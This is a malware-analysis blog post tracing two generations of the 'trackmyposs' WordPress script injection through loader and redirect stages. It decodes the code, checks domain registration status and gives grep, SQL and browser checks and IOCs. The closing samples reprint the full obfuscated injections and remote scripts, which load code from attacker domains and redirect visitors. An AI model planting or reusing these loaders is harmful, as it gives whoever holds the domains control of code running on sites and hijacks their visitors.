trackmyposs, Second Generation - Following a WordPress Script Injection Through Three Stages

In May 2022 Sucuri described a script injection that put one short line, starting /* trackmyposs*/eval(String.fromCharCode(, into WordPress’s own jQuery files. The author cited PublicWWW searches showing over 9,300 infected sites for the April wave alone. The chain sent visitors through legendarytable.com and drakefollow.com to a fake CAPTCHA that asks for push-notification permission.

I have samples of that injection and of its successor from early 2023, and I have the remote scripts the injections load. This post follows them stage by stage, shows what changed, and looks at what happened to the domains.

The scripts only ever run what a remote server hands them. If the domain behind one lapses, the infected site becomes a free door for the next person who registers it.

The Chain, Side by Side#

	Generation 1 (collected May 2022)	Generation 2 (collected Feb 2023)
Where	JavaScript files (Sucuri found it in WordPress’s jQuery files)	the database (the sample’s origin is recorded as `<database>`)
Starts with	`/trackmyposs/eval(String.fromCharCode(...));/*`	`eval(String.fromCharCode(...))`
Script `id` (double-run guard)	`trackmyposs`	`mnm`
Stage 2	`https://clipjs.legendarytable.com/blits.js?v=1.1.2`	`https://scripts.dofollowgreenline.com/pC9KDz`
Stage 2 does	loads stage 3	redirects visitors, but not WordPress users
Stage 3	`https://back.firstblackphase.com/mbRB96`	`https://goaway.dofollowgreenline.com/follow/finish.php?pid=...`
Cleans up after itself	no	removes the HTML element it came from (`demo181`)

Stage 1: Decoding the Injection#

Both injections are one eval(String.fromCharCode(...)) call. No tool is needed to read them. Paste the numbers into Python:

print(''.join(chr(n) for n in [118,97,114,32,115,99,114,105,112,116,115, ...]))

Generation 1#

var scripts = document.getElementsByTagName("script");
var wantme = false;
for (var i = 0; i < scripts.length; i++) {
  if (scripts[i].id) {
    if (scripts[i].id == "trackmyposs"){ wantme=true; }
  }
}
if(wantme==false){
  var d=document;var s=d.createElement('script'); s.id="trackmyposs";
  s.src=String.fromCharCode(104,116,116,112,115,58,47,47,99,108,105,112,106,115,46,108,101,103,101,110,100,97,114,121,116,97,98,108,101,46,99,111,109,47,98,108,105,116,115,46,106,115,63,118,61,49,46,49,46,50);
  if (document.currentScript) { document.currentScript.parentNode.insertBefore(s, document.currentScript);}
  else {d.getElementsByTagName('head')[0].appendChild(s);}
}

It checks whether a <script id="trackmyposs"> is already on the page, so the loader isn’t added twice. If not, it adds one pointing at https://clipjs.legendarytable.com/blits.js?v=1.1.2 (the URL is itself hidden as another fromCharCode list). The id is a guard against loading twice. The /*trackmyposs*/ comment at the very start of the file is probably also a marker, so the attacker’s tooling can tell an infected file from a clean one. That part is my guess.

The code ends in an opening /*. Two other copies of this injection, which were already decoded when I received them, end in /*!, the start of the license comment (/*! ... */) found at the top of minified files like jquery.min.js. So the injection looks designed to sit in front of a file’s own opening comment and leave the file valid. That’s my reading of why it’s there.

Generation 2#

var b=0; var c = document.getElementsByTagName("script"); var n = false;
for (var i = 0; i < c.length; i++) { if (c[i].id) { if (c[i].id == "mnm"){ n=true; } } }
if(n==false){
  var d=document;var s=d.createElement('script'); s.id="mnm";
  s.src=String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,100,111,102,111,108,108,111,119,103,114,101,101,110,108,105,110,101,46,99,111,109,47,112,67,57,75,68,122);
  if (document.currentScript) { document.currentScript.parentNode.insertBefore(s, document.currentScript);}
  else {d.getElementsByTagName('head')[0].appendChild(s);}
}
document.getElementById('demo181').style.display = 'none';
document.getElementById('demo181').remove();

Three changes from generation 1:

The marker is renamed from trackmyposs to mnm. A search for the old name finds nothing.
The URL is different: https://scripts.dofollowgreenline.com/pC9KDz.
It deletes an element called demo181 after it runs: first hiding it, then removing it from the page. I take that to be the element that carried the injection, which fits the sample’s database origin: the code lives in stored content, and the page cleans itself up so nothing visible is left in the DOM.

Stage 2, Generation 2: A Redirector That Spares WordPress Users#

The remote script (pC9KDz) was captured and is about 3 KB, obfuscated in the usual string-array style. I decoded its string table statically, without running it. Underneath it’s a short redirect with an unusual condition:

function main() {
  var hasWP = document.cookie.indexOf("wp-settings") !== -1;
  if (hasWP || getCookie("wp-settings-time") != null || getCookie("wpcurrentadmin") != null) {
    if (getCookie("wpcurrentadmin") == null) setCookie("wpcurrentadmin", 1, 90);   // remember: a WordPress user
  } else {
    if (getCookie("simpleuuu") == null) {
      setCookie("simpleuuu", 1, 1);                                                // remember: already redirected
      location.href = "https://goaway.dofollowgreenline.com/follow/finish.php?pid=658745-22-658734323";
    }
  }
}

(Variable names are mine; the logic is the script’s.) The three cookies tell the story:

Cookie	Set by	Means
`wp-settings-<id>` / `wp-settings-time-<id>`	WordPress itself, when a logged-in user changes admin settings	this browser has used the WordPress dashboard
`wpcurrentadmin`	the script, lasting 30 days	“skip this person”
`simpleuuu`	the script, lasting 8 hours	“already sent this visitor”

I checked WordPress 6.6’s source: the wp-settings-* cookies are set with a one-year lifetime, whenever a user’s dashboard settings are saved (which happens routinely when using wp-admin). So anyone whose browser has used the dashboard on that site in the past year is excluded, even when logged out. (The script’s “days” parameter is really in 8 hour units; it looks like a copy of a common cookie snippet with 24 replaced by 8. So setCookie("wpcurrentadmin", 1, 90) is 90 × 8 hours = 30 days.)

Everyone else is sent to the redirect URL once every 8 hours. The pid=658745-22-658734323 value looks like a campaign or affiliate ID. Unlike the zqxw script I looked at recently, there’s no referrer check. Every non-WordPress visitor is eligible, including people typing the address directly.

Stage 2, Generation 1: A Loader in a Loader#

The captured blits.js?v=1.1.2 is smaller and has no logic at all. It’s another loader whose address is cut in pieces so it isn’t one searchable string:

s.src = "https://ba" + String.fromCharCode(0x63,0x6b,0x2e,0x66,0x69,0x72,0x73,0x74,0x62,0x6c,0x61,0x63,0x6b,0x70,0x68) + "ase.com/mbRB96";

Joined, that’s https://back.firstblackphase.com/mbRB96. I don’t have what that serves. This doesn’t match what Sucuri saw in May 2022, when legendarytable.com led to drakefollow.com. My copy of blits.js, from the same legendarytable.com host, was captured in February 2023 and loads firstblackphase.com instead. So by then the operators had changed what that host served, without touching the infected sites at all.

The Domains Today#

I used registry (RDAP/WHOIS) data and public DNS only, and did not contact any of these servers.

Domain	Role	Registered	DNS today
`legendarytable.com`	gen 1, stage 2	2025-11-22 (Hello Internet Corp)	Cloudflare
`firstblackphase.com`	gen 1, stage 3	2024-04-20 (Dynadot)	`104.129.171.43`
`dofollowgreenline.com`	gen 2, stages 2 and 3	not registered (WHOIS: “No match”)	none

The first two registration dates are both after the samples were collected, so those domains lapsed and were registered again by someone else. The third has no registration at all. This matters more than the individual dates:

A lapsed domain is a takeover of every site that still loads it. Anyone who registers dofollowgreenline.com today instantly controls what runs on every page that still carries the 2023 injection. Nothing about the infected sites has to change.
For the two that have been re-registered, whoever holds them now can already do that. I haven’t looked at what they serve, so I can’t say whether it’s harmless, parked, or malicious.

If you find either injection on a site you manage, the harm isn’t only the old campaign. It’s an open script slot pointing at a domain you don’t control.

Detection & Cleanup#

I tested these patterns against all 554 JavaScript files in WordPress 6.6’s wp-includes/js and wp-admin/js; they match the samples and nothing in core.

grep -rlE 'trackmyposs|eval\(String\.fromCharCode\(118,97,114,32,' wp-content wp-includes --include='*.js'
wp core verify-checksums          # flags a modified wp-includes/js/jquery/jquery.min.js

Look in the database too. The 2023 sample came from stored content, not a file. In WordPress, search post content and options:

SELECT ID, post_type FROM wp_posts   WHERE post_content LIKE '%eval(String.fromCharCode(118,97,114,32,%';
SELECT option_name   FROM wp_options WHERE option_value LIKE '%eval(String.fromCharCode(118,97,114,32,%';

(Check text widgets, theme options, custom HTML blocks and plugin settings, which all live in wp_options.)

Check in a browser. In DevTools, look for <script id="trackmyposs"> or <script id="mnm"> in the page, requests to legendarytable.com, firstblackphase.com or dofollowgreenline.com, and cookies named simpleuuu or wpcurrentadmin. A visitor who has either cookie went through stage 2.
Why you might not see the redirect. Use a private window with no WordPress cookies. In your normal browser, the wp-settings-* cookie means the script leaves you alone, which is exactly the point.
Block the domains at your firewall or with a Content Security Policy, but note this only reduces harm. The injection is still there.
Remove all of it. Restore core files (reinstall WordPress core to replace jquery.min.js and jquery-migrate.min.js), clean the database content, and find out how the site was changed. Sucuri’s 2022 write-up says attackers get in through vulnerable plugins and themes.

IOCs#

Gen 1:  /*trackmyposs*/eval(String.fromCharCode(...));/*     <script id="trackmyposs">
        https://clipjs.legendarytable.com/blits.js?v=1.1.2  ->  https://back.firstblackphase.com/mbRB96
Gen 2:  eval(String.fromCharCode(118,97,114,32,98,61,48,...))     <script id="mnm">     element #demo181
        https://scripts.dofollowgreenline.com/pC9KDz
        https://goaway.dofollowgreenline.com/follow/finish.php?pid=658745-22-658734323
Cookies set by stage 2: simpleuuu (8 h), wpcurrentadmin (30 d); it reads wp-settings*, wp-settings-time*
Public report (gen 1): blog.sucuri.net/2022/05/massive-wordpress-javascript-injection-campaign-redirects-to-ads.html

Samples#

generation 1 injection (original)

/*trackmyposs*/eval(String.fromCharCode(118,97,114,32,115,99,114,105,112,116,115,32,61,32,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,34,115,99,114,105,112,116,34,41,59,10,118,97,114,32,119,97,110,116,109,101,32,61,32,102,97,108,115,101,59,10,102,111,114,32,40,118,97,114,32,105,32,61,32,48,59,32,105,32,60,32,115,99,114,105,112,116,115,46,108,101,110,103,116,104,59,32,105,43,43,41,32,123,10,32,32,105,102,32,40,115,99,114,105,112,116,115,91,105,93,46,105,100,41,32,123,10,32,32,9,32,105,102,32,40,115,99,114,105,112,116,115,91,105,93,46,105,100,32,61,61,32,34,116,114,97,99,107,109,121,112,111,115,115,34,41,123,10,9,9,119,97,110,116,109,101,61,116,114,117,101,59,10,9,32,125,10,32,32,125,32,10,125,10,105,102,40,119,97,110,116,109,101,61,61,102,97,108,115,101,41,123,10,9,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,105,100,61,34,116,114,97,99,107,109,121,112,111,115,115,34,59,115,46,115,114,99,61,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,44,49,49,54,44,49,49,54,44,49,49,50,44,49,49,53,44,53,56,44,52,55,44,52,55,44,57,57,44,49,48,56,44,49,48,53,44,49,49,50,44,49,48,54,44,49,49,53,44,52,54,44,49,48,56,44,49,48,49,44,49,48,51,44,49,48,49,44,49,49,48,44,49,48,48,44,57,55,44,49,49,52,44,49,50,49,44,49,49,54,44,57,55,44,57,56,44,49,48,56,44,49,48,49,44,52,54,44,57,57,44,49,49,49,44,49,48,57,44,52,55,44,57,56,44,49,48,56,44,49,48,53,44,49,49,54,44,49,49,53,44,52,54,44,49,48,54,44,49,49,53,44,54,51,44,49,49,56,44,54,49,44,52,57,44,52,54,44,52,57,44,52,54,44,53,48,41,59,32,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,10,125));/*

generation 2 injection (original)

eval(String.fromCharCode(118,97,114,32,98,61,48,59,32,118,97,114,32,99,32,61,32,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,34,115,99,114,105,112,116,34,41,59,32,118,97,114,32,110,32,61,32,102,97,108,115,101,59,102,111,114,32,40,118,97,114,32,105,32,61,32,48,59,32,105,32,60,32,99,46,108,101,110,103,116,104,59,32,105,43,43,41,32,123,32,32,32,105,102,32,40,99,91,105,93,46,105,100,41,32,123,32,32,32,9,32,105,102,32,40,99,91,105,93,46,105,100,32,61,61,32,34,109,110,109,34,41,123,32,9,9,110,61,116,114,117,101,59,32,9,32,125,32,32,32,125,32,32,125,105,102,40,110,61,61,102,97,108,115,101,41,123,32,9,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,105,100,61,34,109,110,109,34,59,115,46,115,114,99,61,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,44,49,49,54,44,49,49,54,44,49,49,50,44,49,49,53,44,53,56,44,52,55,44,52,55,44,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,44,49,49,53,44,52,54,44,49,48,48,44,49,49,49,44,49,48,50,44,49,49,49,44,49,48,56,44,49,48,56,44,49,49,49,44,49,49,57,44,49,48,51,44,49,49,52,44,49,48,49,44,49,48,49,44,49,49,48,44,49,48,56,44,49,48,53,44,49,49,48,44,49,48,49,44,52,54,44,57,57,44,49,49,49,44,49,48,57,44,52,55,44,49,49,50,44,54,55,44,53,55,44,55,53,44,54,56,44,49,50,50,41,59,32,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,32,125,32,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,100,101,109,111,49,56,49,39,41,46,115,116,121,108,101,46,100,105,115,112,108,97,121,32,61,32,39,110,111,110,101,39,59,32,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,100,101,109,111,49,56,49,39,41,46,114,101,109,111,118,101,40,41,59))

generation 2, stage 2: scripts.dofollowgreenline.com/pC9KDz (original)

(function(_0x3d2341,_0x2cef5b){var _0xa49f0b=_0x1f94,_0x3e66e8=_0x3d2341();while(!![]){try{var _0x256adf=parseInt(_0xa49f0b(0x9d))/0x1*(parseInt(_0xa49f0b(0xa6))/0x2)+-parseInt(_0xa49f0b(0xb1))/0x3*(parseInt(_0xa49f0b(0x96))/0x4)+-parseInt(_0xa49f0b(0xa7))/0x5+-parseInt(_0xa49f0b(0xa2))/0x6+-parseInt(_0xa49f0b(0x98))/0x7+-parseInt(_0xa49f0b(0xa5))/0x8+parseInt(_0xa49f0b(0x99))/0x9;if(_0x256adf===_0x2cef5b)break;else _0x3e66e8['push'](_0x3e66e8['shift']());}catch(_0x1f722e){_0x3e66e8['push'](_0x3e66e8['shift']());}}}(_0x57fd,0xe2841));function dertethrtg(){var _0x2b5efa=_0x1f94,_0x3d406e=String[_0x2b5efa(0x9e)](0x68,0x74,0x74,0x70,0x73,0x3a,0x2f,0x2f,0x67,0x6f,0x61,0x77,0x61,0x79,0x2e,0x64,0x6f,0x66,0x6f,0x6c,0x6c,0x6f,0x77,0x67,0x72,0x65,0x65,0x6e,0x6c,0x69,0x6e,0x65,0x2e,0x63,0x6f,0x6d,0x2f,0x66,0x6f,0x6c,0x6c,0x6f,0x77,0x2f,0x66,0x69,0x6e,0x69,0x73,0x68,0x2e,0x70,0x68,0x70,0x3f,0x70,0x69,0x64,0x3d,0x36,0x35,0x38,0x37,0x34,0x35,0x2d,0x32,0x32,0x2d,0x36,0x35,0x38,0x37,0x33,0x34,0x33,0x32,0x33);document[_0x2b5efa(0x9c)][_0x2b5efa(0x97)]=_0x3d406e,window[_0x2b5efa(0x9c)][_0x2b5efa(0xaf)](_0x3d406e);}function _0x1f94(_0x173500,_0x27a375){var _0x57fd28=_0x57fd();return _0x1f94=function(_0x1f94b7,_0x420835){_0x1f94b7=_0x1f94b7-0x96;var _0x2f4158=_0x57fd28[_0x1f94b7];return _0x2f4158;},_0x1f94(_0x173500,_0x27a375);}function cckktyrg(){var _0x59260e=_0x1f94,_0x47a358=document[_0x59260e(0xa0)][_0x59260e(0xa8)](_0x59260e(0xae))!==-0x1;if(_0x47a358||kdtygdfvxc(_0x59260e(0xab))!=null||kdtygdfvxc(_0x59260e(0xad))!=null){if(kdtygdfvxc(_0x59260e(0xad))!=null){}else rturtgsdf(_0x59260e(0xad),0x1,0x5a);}else{if(kdtygdfvxc(_0x59260e(0xa9))!=null){}else rturtgsdf(_0x59260e(0xa9),0x1,0x1),dertethrtg();}}function _0x57fd(){var _0x2b7273=['indexOf','simpleuuu','charAt','wp-settings-time',';\x20path=/','wpcurrentadmin','wp-settings','replace','length','6TuRGhA','2798832AcGuRX','href','3334429MpeYXg','43473636ksHDdW','split','setTime','location','67spuNeK','fromCharCode','toUTCString','cookie','substring','7408644tspZDJ','getTime',';\x20expires=','3296552NoyOYO','2840SoWNlb','2375645eyFmKB'];_0x57fd=function(){return _0x2b7273;};return _0x57fd();}cckktyrg();function rturtgsdf(_0x254162,_0x178581,_0x3b481d){var _0x181a6f=_0x1f94,_0x5d99c3='';if(_0x3b481d){var _0x57ad70=new Date();_0x57ad70[_0x181a6f(0x9b)](_0x57ad70[_0x181a6f(0xa3)]()+_0x3b481d*0x8*0x3c*0x3c*0x3e8),_0x5d99c3=_0x181a6f(0xa4)+_0x57ad70[_0x181a6f(0x9f)]();}document[_0x181a6f(0xa0)]=_0x254162+'='+(_0x178581||'')+_0x5d99c3+_0x181a6f(0xac);}function kdtygdfvxc(_0x1631bb){var _0x2e5215=_0x1f94,_0x27c61a=_0x1631bb+'=',_0x47d3e9=document[_0x2e5215(0xa0)][_0x2e5215(0x9a)](';');for(var _0x48e6fa=0x0;_0x48e6fa<_0x47d3e9[_0x2e5215(0xb0)];_0x48e6fa++){var _0x2d902d=_0x47d3e9[_0x48e6fa];while(_0x2d902d[_0x2e5215(0xaa)](0x0)=='\x20')_0x2d902d=_0x2d902d[_0x2e5215(0xa1)](0x1,_0x2d902d[_0x2e5215(0xb0)]);if(_0x2d902d[_0x2e5215(0xa8)](_0x27c61a)==0x0)return _0x2d902d[_0x2e5215(0xa1)](_0x27c61a['length'],_0x2d902d[_0x2e5215(0xb0)]);}return null;}

generation 1, stage 2: blits.js (original)

function _0x1b30(_0x37dde7,_0xeee74a){var _0x1e7264=_0x1e72();return _0x1b30=function(_0x1b3012,_0x3de732){_0x1b3012=_0x1b3012-0xd4;var _0x3ef471=_0x1e7264[_0x1b3012];return _0x3ef471;},_0x1b30(_0x37dde7,_0xeee74a);}var _0xde9f92=_0x1b30;(function(_0x116e3b,_0x375b61){var _0x14b160=_0x1b30,_0x3fa287=_0x116e3b();while(!![]){try{var _0x19ab3f=-parseInt(_0x14b160(0xe4))/0x1+parseInt(_0x14b160(0xd4))/0x2+-parseInt(_0x14b160(0xe1))/0x3+parseInt(_0x14b160(0xdf))/0x4*(parseInt(_0x14b160(0xe7))/0x5)+-parseInt(_0x14b160(0xd8))/0x6+-parseInt(_0x14b160(0xd6))/0x7*(parseInt(_0x14b160(0xe5))/0x8)+parseInt(_0x14b160(0xe3))/0x9;if(_0x19ab3f===_0x375b61)break;else _0x3fa287['push'](_0x3fa287['shift']());}catch(_0x55b880){_0x3fa287['push'](_0x3fa287['shift']());}}}(_0x1e72,0xb9190));function _0x1e72(){var _0x2f9257=['parentNode','currentScript','script','src','235324eCdnkM','head','1830402pcrdzJ','https://ba','15733962vmtFBF','105247hOVJkd','192CPMEnf','getElementsByTagName','10YxHrVV','1957592UILmGg','insertBefore','143185dBDema','fromCharCode','5281290ZDHYgI','appendChild','ase.com/mbRB96'];_0x1e72=function(){return _0x2f9257;};return _0x1e72();}var d=document,s=d['createElement'](_0xde9f92(0xdd));s[_0xde9f92(0xde)]=_0xde9f92(0xe2)+String[_0xde9f92(0xd7)](0x63,0x6b,0x2e,0x66,0x69,0x72,0x73,0x74,0x62,0x6c,0x61,0x63,0x6b,0x70,0x68)+_0xde9f92(0xda);document[_0xde9f92(0xdc)]?document[_0xde9f92(0xdc)][_0xde9f92(0xdb)][_0xde9f92(0xd5)](s,document[_0xde9f92(0xdc)]):d[_0xde9f92(0xe6)](_0xde9f92(0xe0))[0x0][_0xde9f92(0xd9)](s);